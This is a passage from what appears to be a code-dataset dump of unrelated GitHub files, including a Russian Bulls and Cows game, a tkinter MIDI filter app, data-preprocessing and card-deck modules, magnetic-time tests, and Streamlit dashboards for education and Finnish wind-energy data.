движка загадывает число\n# в цикле, пока число не отгадано\n# у пользователя запрашивается вариант числа\n# модуль движка проверяет число и выдает быков/коров\n# результат быков/коров выводится на консоль\n# когда игрок угадал таки число - показать количество ходов и вопрос \"Хотите еще партию?\"\n#\n# При написании кода учитывайте, что движок игры никак не должен взаимодействовать с пользователем.\n# Все общение с пользователем делать в текущем модуле. Представьте, что движок игры могут использовать\n# разные клиенты - веб, чатбот, приложение, етс - они знают как спрашивать и отвечать пользователю.\n# Движок игры реализует только саму функциональность игры.\n# Это пример применения SOLID принципа (см https://goo.gl/GFMoaI) в архитектуре программ.\n# Точнее, в этом случае важен принцип единственной ответственности - https://goo.gl/rYb3hT\n\n\nfrom mastermind_engine import generated_hidden_number, check_number\nfrom termcolor import cprint\n\ncprint('\\n\\nПривет. Добро пожаловать в игру «Быки и коровы».', color='blue')\ncprint('Хочешь ознакомиться с правилами игры? Или сразу в бой?\\n', color='blue')\n\n\ndef wellcome():\n cprint('Напиши Да или Yes если хочешь ознакомиться с правилами \\n'\n 'Или Нет или No и давай играть!', color='blue')\n go_or_rules = input()\n if go_or_rules == 'Да' or go_or_rules == 'Yes' or go_or_rules == 'да' or go_or_rules == 'yes' or go_or_rules == 'Д' \\\n or go_or_rules == 'Y' or go_or_rules == 'y' or go_or_rules == 'д':\n cprint(\n 'Компьютер загадывает четырехзначное число.\\n'\n 'Игроку необходимо разгадать задуманное число.\\n'\n 'Игрок вводит любое четырехзначное число, компьютер сообщают о количестве «быков» и «коров» в названном '\n 'числе.\\n'\n '«Бык» — цифра есть в записи задуманного числа и стоит в той же позиции,что и в задуманном числе.\\n'\n '«Корова» — цифра есть в записи задуманного числа, но не стоит в той же позиции,что и в задуманном числе.\\n'\n 'Пример:\\n'\n 'Если компьютер загадал число 3275, а Игрок ввел число 1234, получаем в названном числе 1 «быка» и 1 '\n '«корову».\\n'\n 'Очевидно, что Игрок выигрывает в том случае, если имеем 4 «быка».', color='blue')\n cprint('Продолжим?', color='blue')\n go_or_rules = input()\n if go_or_rules == 'Нет' or go_or_rules == 'No' or go_or_rules == 'нет' or go_or_rules == 'no' or go_or_rules == \\\n 'Н' or go_or_rules == 'N' or go_or_rules == 'n' or go_or_rules == 'н':\n exit(cprint('Жалко... Закрываюсь...', color='red'))\n elif go_or_rules == 'Да' or go_or_rules == 'Yes' or go_or_rules == 'да' or go_or_rules == 'yes' or go_or_rules == 'Д' \\\n or go_or_rules == 'Y' or go_or_rules == 'y' or go_or_rules == 'д':\n pass\n else:\n wellcome()\n elif go_or_rules == 'Нет' or go_or_rules == 'No' or go_or_rules == 'нет' or go_or_rules == 'no' or go_or_rules == \\\n 'Н' or go_or_rules == 'N' or go_or_rules == 'n' or go_or_rules == 'н':\n pass\n else:\n wellcome()\n\n\nwellcome()\n\n\ndef game():\n cprint('Принял! Теперь я загадал число!', color='blue')\n generated_hidden_number()\n cprint('Ну что - же, отгадывай!', color='blue')\n\n while True:\n cprint('Какое число будешь проверять?', color='blue')\n cprint('Или 1 для выхода.', color='blue')\n IMPORT_VALUE = int(input())\n if IMPORT_VALUE == 1:\n exit(cprint('Жалко, До новых встреч! Made in China.', color='red'))\n elif IMPORT_VALUE > 10000 or IMPORT_VALUE < 1111:\n cprint('Загадай 4х значное число!', color='red')\n IMPORT_VALUE = input()\n if check_number(IMPORT_VALUE) == True:\n break\n\n else:\n print('Коров - ', check_number(IMPORT_VALUE)['cows'], 'Быков - ', check_number(IMPORT_VALUE)['bulls'])\n\n check_number(IMPORT_VALUE)\n\n\ngame()\n\nwhile True:\n print('Играем ещё?')\n play_again = input()\n if play_again == 'Нет' or play_again == 'No' or play_again == 'нет' or play_again == 'no' or play_again == \\\n 'Н' or play_again == 'N' or play_again == 'n' or play_again == 'н':\n exit(cprint('Жалко, До новых встреч! Made in China.', color='red'))\n break\n else:\n game()\n","repo_name":"Nikitatsivinsky/Skil-Box","sub_path":"ProjectSkillBox/Homework/lesson_006/01_mastermind.py","file_name":"01_mastermind.py","file_ext":"py","file_size_in_byte":7929,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"74176209853","text":"#!/usr/bin/env python3\r\n\r\n# Copyright (c) 2018 Gennadi Iosad.\r\n# All Rights Reserved.\r\n# You may use, distribute and modify this code under the\r\n# terms of the MIT license.\r\n#\r\n# You should have received a copy of the MIT license with\r\n# this file.\r\n\r\nimport tkinter as tk\r\nimport tkinter.ttk as ttk\r\nimport appdirs\r\nimport configparser\r\nimport os\r\n\r\nfrom midi_filter import *\r\n\r\n\r\nclass DoubleTriggerFilterView:\r\n def __init__(self, root, midi_filter, config):\r\n self.root = root\r\n self.midi_filter = midi_filter\r\n self.config = config\r\n\r\n # vars\r\n self.iportname = tk.StringVar(self.root)\r\n self.oportname = tk.StringVar(self.root)\r\n self.status = tk.StringVar(self.root)\r\n self.autostart = tk.IntVar(self.root)\r\n\r\n self.filter1_enabled = tk.IntVar(self.root)\r\n self.min_delay = tk.StringVar(self.root)\r\n self.min_velocity = tk.StringVar(self.root)\r\n\r\n self.notes_on_events_passed = tk.IntVar(self.root)\r\n self.notes_on_events_skipped = tk.IntVar(self.root)\r\n\r\n self.setup_devices_frame()\r\n self.setup_filter_frame()\r\n self.setup_stats_frame()\r\n self.setup_operations_frame()\r\n\r\n self.rescan()\r\n self.load_config()\r\n\r\n def update_stats():\r\n self.notes_on_events_passed.set(self.midi_filter.notes_on_events_passed)\r\n self.notes_on_events_skipped.set(self.midi_filter.notes_on_events_skipped)\r\n\r\n REFRESH_GUI_EVENT = '<>'\r\n self.root.bind(REFRESH_GUI_EVENT, lambda event: update_stats())\r\n self.midi_filter.stats_updated_cb = lambda: self.root.event_generate(REFRESH_GUI_EVENT, when=\"tail\")\r\n self.midi_filter.stats_updated_cb()\r\n\r\n def set_min_velocity(*args):\r\n try:\r\n v = float(self.min_velocity.get())\r\n except ValueError:\r\n v = 0\r\n self.midi_filter.min_velocity = v\r\n self.min_velocity.trace('w', set_min_velocity)\r\n\r\n def set_min_delay(*args):\r\n try:\r\n v = float(self.min_delay.get())\r\n except ValueError:\r\n v = 0\r\n self.midi_filter.min_delay = v\r\n self.min_delay.trace('w', set_min_delay)\r\n\r\n def filter1_enabled(*args):\r\n self.midi_filter.enabled = self.filter1_enabled.get()\r\n self.filter1_enabled.trace('w', filter1_enabled)\r\n\r\n if self.autostart.get():\r\n self.start()\r\n else:\r\n self.update_status()\r\n\r\n\r\n def load_config(self):\r\n try:\r\n self.iportname.set(self.config.get('general', 'in', fallback='[NONE]'))\r\n self.oportname.set(self.config.get('general', 'out', fallback='[NONE]'))\r\n self.autostart.set(int(self.config.getboolean('general', 'autostart', fallback=0)))\r\n self.min_delay.set(self.config.getfloat('filter1', 'min_delay', fallback=self.midi_filter.min_delay))\r\n self.min_velocity.set(int(self.config.getfloat('filter1', 'min_velocity', fallback=self.midi_filter.min_velocity)))\r\n self.filter1_enabled.set(int(self.config.getboolean('filter1', 'enabled', fallback=1)))\r\n except ValueError:\r\n pass\r\n\r\n\r\n def update_config(self):\r\n self.config.set('general', 'in', self.iportname.get())\r\n self.config.set('general', 'out', self.oportname.get())\r\n self.config.set('general', 'autostart', str(self.autostart.get()))\r\n self.config.set('filter1', 'min_delay', str(self.min_delay.get()))\r\n self.config.set('filter1', 'min_velocity', str(self.min_velocity.get()))\r\n self.config.set('filter1', 'enabled', str(self.filter1_enabled.get()))\r\n\r\n\r\n def rescan(self):\r\n iports = self.midi_filter.list_iports()\r\n self.update_option_menu(self.iport_menu, iports if iports else ['[NONE]'], self.iportname)\r\n oports = self.midi_filter.list_oports()\r\n self.update_option_menu(self.oport_menu, oports if oports else ['[NONE]'], self.oportname)\r\n\r\n\r\n def update_option_menu(self, menu, choices, tkvar):\r\n menu.delete(0, 'end')\r\n for string in choices:\r\n menu.add_command(label=string, command=lambda value=string: tkvar.set(value))\r\n if tkvar.get() not in choices:\r\n tkvar.set(choices[0])\r\n\r\n\r\n def start(self):\r\n try:\r\n self.midi_filter.start(self.iportname.get(), self.oportname.get())\r\n except OverflowError as e:\r\n debug_log('Exception in midi_filter:', e)\r\n self.update_status()\r\n\r\n\r\n def stop(self):\r\n self.midi_filter.stop()\r\n self.update_status()\r\n\r\n\r\n def toggle_start_stop(self):\r\n if self.midi_filter.is_running():\r\n self.stop()\r\n else:\r\n self.start()\r\n\r\n def update_status(self):\r\n if self.midi_filter.is_running():\r\n self.status.set('Stop')\r\n else:\r\n self.status.set('Start')\r\n\r\n\r\n def setup_devices_frame(self):\r\n choices = ['[NONE]']\r\n self.oportname.set(choices[0])\r\n self.iportname.set(choices[0])\r\n\r\n devices_frame = tk.LabelFrame(self.root, text='Devices', padx=20, pady=20)\r\n devices_frame.pack(fill=tk.X, padx=20, pady=10)\r\n\r\n io_frame = tk.Frame(devices_frame)\r\n io_frame.pack(fill=tk.X, pady=10)\r\n io_frame.grid_columnconfigure(0, weight=0)\r\n io_frame.grid_columnconfigure(1, weight=1)\r\n\r\n input_midi_devices_label = ttk.Label(io_frame, text='Input:')\r\n input_midi_devices_label.grid(row=0, sticky=tk.E)\r\n\r\n input_midi_devices = ttk.OptionMenu(io_frame, self.iportname, *choices)\r\n input_midi_devices.grid(row=0, column=1, sticky=tk.W)\r\n self.iport_menu = input_midi_devices['menu']\r\n\r\n output_midi_devices_label = ttk.Label(io_frame, text='Output:')\r\n output_midi_devices_label.grid(row=1, sticky=tk.E)\r\n\r\n output_midi_devices = ttk.OptionMenu(io_frame, self.oportname, *choices)\r\n output_midi_devices.grid(row=1, column=1, sticky=tk.W)\r\n self.oport_menu = output_midi_devices['menu']\r\n\r\n rescan_btn = ttk.Button(devices_frame, text = \"Rescan\", command = lambda:self.rescan())\r\n rescan_btn.pack(ipady=5)\r\n\r\n\r\n def setup_filter_frame(self):\r\n filter_frame = tk.LabelFrame(self.root, text='Filter', padx=20, pady=20)\r\n filter_frame.pack(fill=tk.X, padx=20, pady=10)\r\n\r\n output_midi_devices_label = ttk.Label(filter_frame, text='Minimum time delta (secs)')\r\n output_midi_devices_label.grid(row=0, sticky=tk.E)\r\n\r\n min_delta_entry = tk.Spinbox(filter_frame, from_=0.01, to=0.1, increment=0.01, textvariable=self.min_delay)\r\n min_delta_entry.grid(row=0, column=1, padx=10)\r\n\r\n spacer = tk.Frame(filter_frame)\r\n spacer.grid(row=1, column=0, ipady=5, ipadx=10)\r\n\r\n min_velocity_devices_label = ttk.Label(filter_frame, text='Minimum velocity (1-127)')\r\n min_velocity_devices_label.grid(row=2, sticky=tk.E)\r\n\r\n min_velocity_entry = tk.Spinbox(filter_frame, from_=1, to=127, textvariable=self.min_velocity)\r\n min_velocity_entry.grid(row=2, column=1, padx=10)\r\n\r\n enabled_chkbtn = ttk.Checkbutton(filter_frame, text='Enabled', variable = self.filter1_enabled)\r\n enabled_chkbtn.grid(column=2, row=0, rowspan=3, padx=20, sticky=tk.E)\r\n\r\n\r\n def setup_stats_frame(self):\r\n stats_frame = tk.LabelFrame(self.root, text='MIDI note-on events stats', padx=20, pady=20)\r\n stats_frame.pack(fill=tk.X, padx=20, pady=10)\r\n\r\n notes_events = ttk.Label(stats_frame, text='Passed')\r\n notes_events.grid(row=0, column=0, sticky=tk.E)\r\n\r\n notes_events_count = ttk.Entry(stats_frame, textvariable=self.notes_on_events_passed)\r\n notes_events_count.grid(row=0, column=1, sticky=tk.E, padx=10, pady=5)\r\n\r\n skipped = ttk.Label(stats_frame, text='Skipped')\r\n skipped.grid(row=0, column=2, sticky=tk.E)\r\n\r\n skipped_count = ttk.Entry(stats_frame, textvariable=self.notes_on_events_skipped)\r\n skipped_count.grid(row=0, column=3, sticky=tk.E, padx=10, pady=5)\r\n\r\n\r\n def setup_operations_frame(self):\r\n operation_frame = tk.Frame(self.root)\r\n operation_frame.pack()\r\n\r\n start_btn = ttk.Button(operation_frame, textvariable = self.status, command = lambda:self.toggle_start_stop())\r\n start_btn.pack(pady=5, ipady=5)\r\n\r\n autostart_chkbtn = ttk.Checkbutton(operation_frame, text='Autostart', variable = self.autostart)\r\n autostart_chkbtn.pack(pady=10)\r\n\r\n\r\ndef main():\r\n # Config.\r\n config_dir = appdirs.user_config_dir('midi-note-double-trigger-filter', '')\r\n config_path = os.path.join(config_dir, 'midi-note-double-trigger-filter.cfg')\r\n debug_log('Config at:', config_path)\r\n config = configparser.ConfigParser()\r\n config.read(config_path)\r\n if 'general' not in config: config.add_section('general')\r\n if 'filter1' not in config: config.add_section('filter1')\r\n\r\n # Model and view\r\n window = tk.Tk()\r\n window.title(\"MIDI Note Double Trigger Filter\")\r\n\r\n midi_filter = MIDIFilter()\r\n view = DoubleTriggerFilterView(window, midi_filter, config)\r\n\r\n window.update()\r\n window.minsize(window.winfo_width(), window.winfo_height())\r\n window.mainloop()\r\n\r\n midi_filter.stats_updated_cb = None\r\n view.update_config()\r\n\r\n # Save config to file\r\n if not os.path.exists(config_dir):\r\n os.makedirs(config_dir)\r\n config.write(open(config_path, 'w'))\r\n\r\n debug_log('EXIT')\r\n\r\n\r\nmain()\r\n","repo_name":"giosad/midi-double-trigger-filter","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9575,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"78"} +{"seq_id":"69843691132","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.preprocessing import MinMaxScaler\nimport torch\n\n\ndef preprocess(data: pd.DataFrame):\n \"\"\"\n Preprocesses the input data by filling missing values using forward filling, scaling the features using MinMaxScaler, and returning the scaled features and the scaler object.\n\n Args:\n data (pd.DataFrame): The input data as a pandas DataFrame.\n\n Returns:\n features (ndarray): The scaled features as a 2D array.\n scaler (MinMaxScaler): The scaler object used to scale the features.\n \"\"\"\n data = data.ffill()\n\n scaler = MinMaxScaler(feature_range=(-1, 1))\n features = scaler.fit_transform(data.values.reshape(-1, len(data.columns)))\n scaler.fit(data[\"Close\"].values.reshape(-1, 1))\n\n return features, scaler\n\n\ndef load_data(data_features, data_label, look_back):\n \"\"\"\n Preprocesses the data by splitting it into training and testing sets, and then converts the data into torch tensors.\n \n Args:\n data_features (numpy.ndarray): A numpy array containing the features of the data.\n data_label (numpy.ndarray): A numpy array containing the labels of the data.\n look_back (int): An integer representing the number of previous time steps to use as input for predicting the next time step.\n \n Returns:\n list: A list containing the training data, training labels, testing data, and testing labels as torch tensors.\n \"\"\"\n data = []\n labels = []\n \n for index in range(len(data_features) - look_back):\n data.append(data_features[index : index + look_back])\n labels.append(data_label[index:index + look_back])\n\n data = np.array(data)\n labels = np.array(labels)\n test_set_size = int(np.round(0.2 * data.shape[0]))\n train_set_size = data.shape[0] - (test_set_size)\n\n x_train = data[:train_set_size, :-1, :]\n y_train = labels[:train_set_size, -1, :]\n\n x_test = data[train_set_size:, :-1]\n y_test = labels[train_set_size:, -1, :]\n\n x_train = torch.from_numpy(x_train).type(torch.Tensor)\n x_test = torch.from_numpy(x_test).type(torch.Tensor)\n y_train = torch.from_numpy(y_train).type(torch.Tensor)\n y_test = torch.from_numpy(y_test).type(torch.Tensor)\n\n return [x_train, y_train, x_test, y_test]","repo_name":"Lincoln325/comp7409-project","sub_path":"forecasting/datasets.py","file_name":"datasets.py","file_ext":"py","file_size_in_byte":2283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"36223426313","text":"std=[\"peter\",\"steve\",\"mj\",\"gwen\",\"miles\"]\r\na=input(\"enter your choice: \")\r\nif a==\"break\":\r\n for i in std:\r\n '''print(std)\r\n if i==\"gwen\":\r\n break in this case gwen will also be included in the final output'''\r\n if i==\"gwen\":\r\n break\r\n print(i)\r\nelse:\r\n for i in std:\r\n if i==\"gwen\":\r\n continue\r\n print(i)\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"akshay1O1/my-python-journey","sub_path":"06_breakncontinue.py","file_name":"06_breakncontinue.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"14512253388","text":"import streamlit as st\nimport pandas as pd\nimport numpy as np\n\n# SETTING PAGE CONFIG TO WIDE MODE AND ADDING A TITLE AND FAVICON\nst.set_page_config(layout=\"wide\", page_title=\"Novus Campus\", page_icon=\"🏛️\")\n\nst.title('Novus Campus 🏛️')\n\nst.header(\"Define tu meta ✍️\")\nst.subheader(\"Prepárate para alcanzarla 🎯\")\nst.subheader(\"Monitorea Paso a Paso 👣 la Materialización ✅\")\n\na = st.selectbox('Elige el rol más demandado a futuro que desees abordar', ['Data Scientist', 'Broker', 'ML Operator'])\nb = st.selectbox('Selecciona los problemas del planeta que deseas enfrentar', ['Hambre', 'Pobreza', 'Educacion'])\nc = st.selectbox('Selecciona tus principales pasatiempos', ['Leer', 'Ejercicio', 'Cine'])\n\nh = st.slider('¿Cuántas horas puedes estudiar al día?', 0, 24)\n\ni = st.button('Preparar Hoja de Ruta de Novus Campus🏛️ exclusivo para mí')\n\n\nif a and b and c and h and i:\n st.write('Con un plan personalizado de ', h,' horas semanales, mediante ejemplos asociados a <<', c, '>> para que aprendas <<', a, '>> y logres aportar a salvar al planeta en <<', b, '>>.')\n\n\n","repo_name":"wilberj88/Novus-Campus","sub_path":"pages/diagnostico.py","file_name":"diagnostico.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"31088404745","text":"import random\nimport hashlib\nimport json\n#\n# Definitions\n# Stack - 13 cards from Ace to King of a any single suit\n# Deck - 4 Stacks of each suit Total of 52 cards (Spades, Clubs, Hearts, Diamonds)\n# Card - a single card of any suit and any value\n#\n\n\nclass Card:\n # Create a single card object of a specific value and suit\n\n global_id = 0\n\n def __init__(self, suit: str, value: int):\n # Create a globally unique ID for this card\n Card.global_id += 1\n\n # Dicts for unicode card symbols and string names\n glyph_dict = {'Spades': '\\u2660', 'Clubs': '\\u2663', 'Hearts': '\\u2665', 'Diamonds': '\\u2666'}\n value_dict = {1: 'Ace', 11: 'Jack', 12: 'Queen', 13: 'King'}\n\n # Create a string name for this card value\n str_val = str(value)\n if value == 1 or value >= 11:\n str_val = value_dict[value]\n\n # Create an MD5 Hash value\n # serial_bytes = bytes(suit, 'utf-8') + bytes(str(value), 'utf-8') + bytes(str(self.global_id), 'utf-8')\n serial_bytes = bytes(suit, 'utf-8') + bytes(str(value), 'utf-8')\n hash_val = hashlib.md5(serial_bytes).hexdigest()\n\n self.hash_val = hash_val # MD5\n self.global_id = self.global_id\n self.suit_glyph = glyph_dict[suit]\n self.suit = suit\n self.str_val = str_val\n self.int_value = value\n self.sequence = 0.0\n self.visible = False\n\n return\n\n def __repr__(self):\n _my_card = {}\n for a in dir(self):\n if a[:2] != \"__\": # exclude any attribute with dunder __\n # print(a, ': \\t', getattr(self, a))\n _my_card[a] = getattr(self, a)\n\n return json.dumps(_my_card)\n\n\nclass Stack:\n # Create a full suit cards (Ace to King) object of a specific suit\n\n def __init__(self, suit):\n self.cards = []\n\n for idx in range(1, 14):\n self.cards.append(Card(suit, idx))\n return\n\n def shuffle(self):\n random.shuffle(self.cards)\n return\n\n def __repr__(self):\n rep = 'This is a stack of ' + str(self.cards[1].suit)\n\n return rep\n\n\nclass Deck:\n # Create a full deck of standard cards\n\n def __init__(self):\n self.cards = []\n\n suits = ['Diamonds', 'Spades', 'Hearts', 'Clubs']\n\n for suit in suits:\n for idx in range(1, 14):\n self.cards.append(Card(suit, idx))\n\n def shuffle(self):\n random.shuffle(self.cards)\n return\n\n def __repr__(self):\n rep = 'This is a deck of ' + str(len(self.cards)) + ' cards'\n return rep\n\n\nclass Pile:\n # A class for one of the 10 piles on the spider board\n\n global_pile_id = 0\n\n def __init__(self, spider_deck, num_of_cards):\n Pile.global_pile_id += 1\n\n self.pile_id = Pile.global_pile_id\n self.sequences = []\n self.cards = []\n\n x = 0\n for x in range(0, num_of_cards):\n self.cards.append(spider_deck.pop(x))\n\n # Make the last card visible and establish the initial sequence\n self.cards[x].visible = True\n self.cards[x].sequence = self.pile_id + .1\n self.sequences.append([self.cards[x]])\n\n def get_top_card(self):\n top_card = self.cards[-1]\n return top_card\n\n def reveal_pile(self):\n print('Pile id: ' +str(self.pile_id))\n for card in self.cards:\n print ('\\t\\t Card id: ', card.global_id, 'is:', '/', card.sequence, card.str_val, card.suit, card.visible)\n\n # for sequence in self.sequences:\n # print('\\t\\t\\tSequences: ', sequence)\n return\n\n def remove_card(self, card):\n removed_card = self.cards[-1]\n del self.cards[-1]\n return removed_card\n\n def add_card(self, card):\n self.cards.append(card)\n return\n\n\n\n","repo_name":"jpisano99/spider","sub_path":"deck.py","file_name":"deck.py","file_ext":"py","file_size_in_byte":3814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"32602651409","text":"\"\"\"\nIn this package, You can find test environment for Ella galleries unittest project.\nAs only true unittest and \"unittest\" (test testing programming unit, but using\ndatabase et al) are there, there is not much setup around.\n\"\"\"\nimport os\n\ntest_runner = None\nold_config = None\n\nos.environ['DJANGO_SETTINGS_MODULE'] = 'test_ella_comments.settings'\n\ndef setup():\n global test_runner\n global old_config\n from django.test.simple import DjangoTestSuiteRunner\n from ella.utils.installedapps import call_modules\n test_runner = DjangoTestSuiteRunner()\n test_runner.setup_test_environment()\n old_config = test_runner.setup_databases()\n call_modules(('register', ))\n\ndef teardown():\n test_runner.teardown_databases(old_config)\n test_runner.teardown_test_environment()\n\n","repo_name":"ella/ella-comments","sub_path":"test_ella_comments/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":790,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"} +{"seq_id":"20485105311","text":"import heapq,sys\n\ninput = sys.stdin.readline\n\nN, M = map(int,input().split())\n\ngiftArr = list(map(int,input().split()))\nwishArr = list(map(int,input().split()))\n\nheap = []\n\nfor i in range(N) :\n heapq.heappush(heap,-giftArr[i])\n\nfor i in range(M) :\n wishCount = wishArr[i]\n\n maxCount = -heapq.heappop(heap)\n\n if wishCount > maxCount :\n print(0)\n exit(0)\n\n if wishCount == maxCount :\n continue\n \n remain = maxCount - wishCount\n heapq.heappush(heap, -remain)\n\nprint(1)\n \n\n","repo_name":"LeeSunHaeng/Baekjoon","sub_path":"Backjoon_Python/Baekjoon_23757.py","file_name":"Baekjoon_23757.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"29087956584","text":"# !/usr/bin/python\n# -*- coding:utf-8 -*-\nimport os\nimport numpy as np\nimport cv2\nimport json\n\nif __name__ == \"__main__\":\n np.random.seed(50)\n img_dir = r'D:\\datasets\\mpii\\mpii_human_pose_v1\\images'\n with open('mpii_train.json', 'r') as f:\n data = json.load(f)\n names = list(data.keys())\n np.random.shuffle(names)\n for name in names[:10]:\n\n anns = data[name]\n print(anns)\n img = cv2.imread(os.path.join(img_dir, name))\n for ann in anns:\n bbox = ann['bbox']\n x1, y1, x2, y2 = bbox\n x1, y1, x2, y2 = int(x1), int(y1), int(x2), int(y2)\n cv2.rectangle(img, (x1, y1), (x2, y2), (0, 255, 0), 2)\n hh = ann['scale'] * 200\n x, y = ann['center']\n xx1, xx2 = x - hh / 2, x + hh / 2\n yy1, yy2 = y - hh / 2, y + hh / 2\n xx1, yy1, xx2, yy2 = int(xx1), int(yy1), int(xx2), int(yy2)\n cv2.rectangle(img, (xx1, yy1), (xx2, yy2), (0, 0, 255), 2)\n points = ann['points']\n for point in points:\n x, y, p_id, vi = point\n x, y = int(x), int(y)\n cv2.circle(img, (x, y), 2, (0, 255, 255), 2)\n cv2.imshow('img', img)\n cv2.waitKey(1000)\n","repo_name":"xiangyanzhai/my_scripts","sub_path":"mpii_json_demo.py","file_name":"mpii_json_demo.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"16348129972","text":"from unittest import TestCase, main\nfrom numpy import asarray, empty, nditer\nfrom numpy.random import uniform\nfrom numpy.testing import assert_allclose\nfrom eoxmagmod.time_util import decimal_year_to_mjd2000\nfrom eoxmagmod.solar_position import sunpos\nfrom eoxmagmod.dipole_coords import convert_to_dipole\nfrom eoxmagmod.magnetic_time import mjd2000_to_magnetic_universal_time\n\n\nclass TestMjd200ToMagneticUniversalTime(TestCase):\n shape = (25, 25)\n\n @property\n def times(self):\n return uniform(\n decimal_year_to_mjd2000(1990),\n decimal_year_to_mjd2000(2030),\n self.shape\n )\n\n @property\n def ngp_coords(self):\n return uniform(-90, 90, self.shape), uniform(-90, 90, self.shape)\n\n @staticmethod\n def eval(times, lats_ngp, lons_ngp, *args, **kwargs):\n return mjd2000_to_magnetic_universal_time(\n times, lats_ngp, lons_ngp, *args, **kwargs\n )\n\n @classmethod\n def reference(cls, times, lats_ngp, lons_ngp):\n times = asarray(times)\n lats_ngp = asarray(lats_ngp)\n lons_ngp = asarray(lons_ngp)\n results = empty(times.shape)\n iterator = nditer(\n [times, lats_ngp, lons_ngp, results],\n op_flags=[\n ['readonly'], ['readonly'], ['readonly'], ['writeonly'],\n ],\n )\n for time, lat_ngp, lon_ngp, result in iterator:\n result[...] = cls.ref_mjd2000_to_magnetic_universal_time(\n time, lat_ngp, lon_ngp\n )\n return results\n\n @staticmethod\n def sunpos(time):\n declination, _, hour_angle, _, _ = sunpos(time, 0, 0, rad=0)\n return declination, -hour_angle\n\n @classmethod\n def ref_mjd2000_to_magnetic_universal_time(cls, time, lat_ngp, lon_ngp):\n lat_sol, lon_sol = cls.sunpos(time)\n _, subsol_dip_lon, _ = convert_to_dipole(\n [lat_sol, lon_sol, 1.0], lat_ngp, lon_ngp\n )\n return (180.0 - subsol_dip_lon) / 15.0\n\n def test_mjd2000_to_magnetic_universal_time(self):\n times = self.times\n lats_ngp, lons_ngp = self.ngp_coords\n assert_allclose(\n self.eval(times, lats_ngp, lons_ngp),\n self.reference(times, lats_ngp, lons_ngp),\n )\n\n def test_mjd2000_to_magnetic_universal_time_fixed_pole(self):\n times = self.times\n lats_ngp, lons_ngp = 80.08, -72.22\n assert_allclose(\n self.eval(times, lats_ngp, lons_ngp),\n self.reference(times, lats_ngp, lons_ngp),\n )\n\n def test_mjd2000_to_magnetic_universal_time_with_extra_subsol_coords(self):\n times = self.times\n lats_ngp, lons_ngp = self.ngp_coords\n lat_sol, lon_sol = self.sunpos(times)\n assert_allclose(\n self.eval(times, lats_ngp, lons_ngp, lat_sol=lat_sol, lon_sol=lon_sol),\n self.reference(times, lats_ngp, lons_ngp),\n )\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"ESA-VirES/MagneticModel","sub_path":"eoxmagmod/eoxmagmod/tests/magnetic_time.py","file_name":"magnetic_time.py","file_ext":"py","file_size_in_byte":2957,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"78"} +{"seq_id":"74509363130","text":"import os\nimport pandas as pd\nimport re\n\n# only for csv text data\n\ndef read_data(filepath):\n try:\n df_raw = pd.read_csv(filepath)\n print(\"Read lines: \", len(df_raw))\n return df_raw\n except:\n print(\"Cannot read file\")\n\n\n","repo_name":"haely/ml_ops","sub_path":"readdata.py","file_name":"readdata.py","file_ext":"py","file_size_in_byte":253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"10973076953","text":"import plotly.subplots\nimport streamlit as st\nst.set_page_config(\n page_title=\"EnergiaData - Tuuli- ja sähköjärjestelmätilastoja\",\n page_icon=\"https://i.imgur.com/Kd4P3y2.png\",\n layout='wide',\n initial_sidebar_state='expanded'\n)\nfrom streamlit_extras.chart_container import chart_container\nimport plotly.express as px\nimport plotly.graph_objs as go\nimport numpy as np\nfrom src.general_functions import get_general_layout, aggregate_data\nfrom src.fingridapi import get_data_from_fg_api_with_start_end\nfrom src.entsoapi import get_price_data\nimport pandas as pd\n\n\n@st.cache_data(show_spinner=False, max_entries=200)\ndef get_demand_df(start, end):\n \"\"\"\n Get the demand values from Fingrid API between the start and end dates\n :param start: start date\n :param end: end date\n :return: demand dataframe\n \"\"\"\n demand_df = get_data_from_fg_api_with_start_end(124, start, end)\n demand_df.rename({'Value': 'Kulutus'}, axis=1, inplace=True)\n return demand_df\n\n\n@st.cache_data(show_spinner=False, max_entries=200)\ndef get_wind_df(start, end):\n \"\"\"\n Get the wind production and capacity values from Fingrid API between the start and end dates.\n Calculates the utilization rate\n :param start: start date\n :param end: end date\n :return: wind dataframe\n \"\"\"\n df = get_data_from_fg_api_with_start_end(75, start, end)\n df.rename({'Value': 'Tuulituotanto'}, axis=1, inplace=True)\n\n wind_capacity = get_data_from_fg_api_with_start_end(268, start, end)\n # Fixing issues in the API capacity (sometimes capacity is missing and API gives low value)\n wind_capacity.loc[wind_capacity['Value'] < wind_capacity['Value'].shift(-24), 'Value'] = np.NaN\n df['Kapasiteetti'] = wind_capacity['Value']\n # Due to issues with input data with strange timestamps, we need to resample the data\n df = df.resample('H')\n # Interpolate missing values linearly\n df = df.interpolate()\n\n df['Käyttöaste'] = df['Tuulituotanto'] / df['Kapasiteetti'] * 100\n return df.round(1)\n\n\nstart_date, end_date, aggregation_selection = get_general_layout()\n\nst.subheader('Tuulivoiman tilastoja')\n# Create tabs for different visualizations\ntab1, tab2, tab3 = st.tabs(['Tuulivoimatuotanto ja -kapasiteetti', 'Tuulen osuus kulutuksesta',\n 'Tuulivoiman saama 